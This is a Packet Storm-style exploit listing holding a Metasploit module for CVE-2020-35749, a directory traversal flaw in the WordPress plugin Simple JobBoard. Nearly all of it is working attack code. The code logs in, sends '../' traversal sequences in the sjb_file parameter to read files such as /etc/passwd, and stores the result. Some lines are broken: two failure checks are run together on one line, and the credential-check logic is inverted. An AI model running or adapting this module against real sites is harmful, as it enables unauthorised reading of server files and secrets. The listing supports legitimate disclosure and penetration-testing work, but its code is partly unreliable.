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Simple JobBoard Authenticated File Read

Simple JobBoard Authenticated File Read
Posted Jan 21, 2021
Authored by SunCSR, Hoa Nguyen, Arcangelo Saracino | Site metasploit.com

This Metasploit module exploits an authenticated directory traversal vulnerability in WordPress plugin Simple JobBoard versions prior to 2.9.3 to perform an arbitrary file read with the web server privileges.

tags | exploit, web, arbitrary
advisories | CVE-2020-35749
MD5 | f67aec0e1808a4048efded2042ded5a9

Simple JobBoard Authenticated File Read

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner

def initialize(info = {})
super(update_info(info,
'Name' => 'Simple JobBoard Authenticated File Read Vulnerability',
'Description' => %q{
This module exploits an authenticated directory traversal vulnerability in WordPress plugin 'Simple JobBoard ' < 2.9.3,
allowing arbitrary file read with the web server privileges.
},
'Author' =>
[
'Arcangelo Saracino', # Vulnerability discovery
'Hoa Nguyen - Suncsr Team', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2020-35749'],
['WPVDB', 'eed3bd69-2faf-4bc9-915c-c36211ef9e2d'],
['URL','https://arkango.github.io/CVE-2020/CVE-2020-35749%20DIr.%20Traversal%20Simple%20Board%20Job%20Wordpress%20plugin.html']
],
'DisclosureDate' => 'Jan 15 2021'))

register_options([
OptString.new('FILEPATH',[true,'The path to the file to read','/etc/passwd']),
OptString.new('USERNAME',[true,'The WordPress username to authenticate with']),
OptString.new('PASSWORD',[true,'The Wordpress password to authenticate with']),
OptInt.new('DEPTH',[true,'Traversal Depth (to reach the root folder',8]),
])
end

def username
datastore['USERNAME']
end

def password
datastore['PASSWORD']
end

def check
cookie = wordpress_login(username,password)
if cookie.nil?
store_valid_credential(user: username, private: password, proof: cookie)
return CheckCode::Safe
end
CheckCode::Appears
end

def run_host(ip)
cookie = wordpress_login(username, password)
traversal = '../' * datastore['DEPTH']
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//

res = send_request_cgi({
'cookie' => cookie,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'wp-admin',''),
'vars_get' =>
{
'post' => 'application_id',
'action' => 'edit',
'sjb_file' => "#{traversal}#{filename}"
}
})

fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200
fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero?
print_good('Downloading file ...')
print_line("\n#{res.body}\n")
fname = datastore['FILEPATH']
path = store_loot(
'Simple_JobBoard.traversal',
'text/plain',
ip,
res.body,
fname
)
print_good("File save in: #{path}")
end
end

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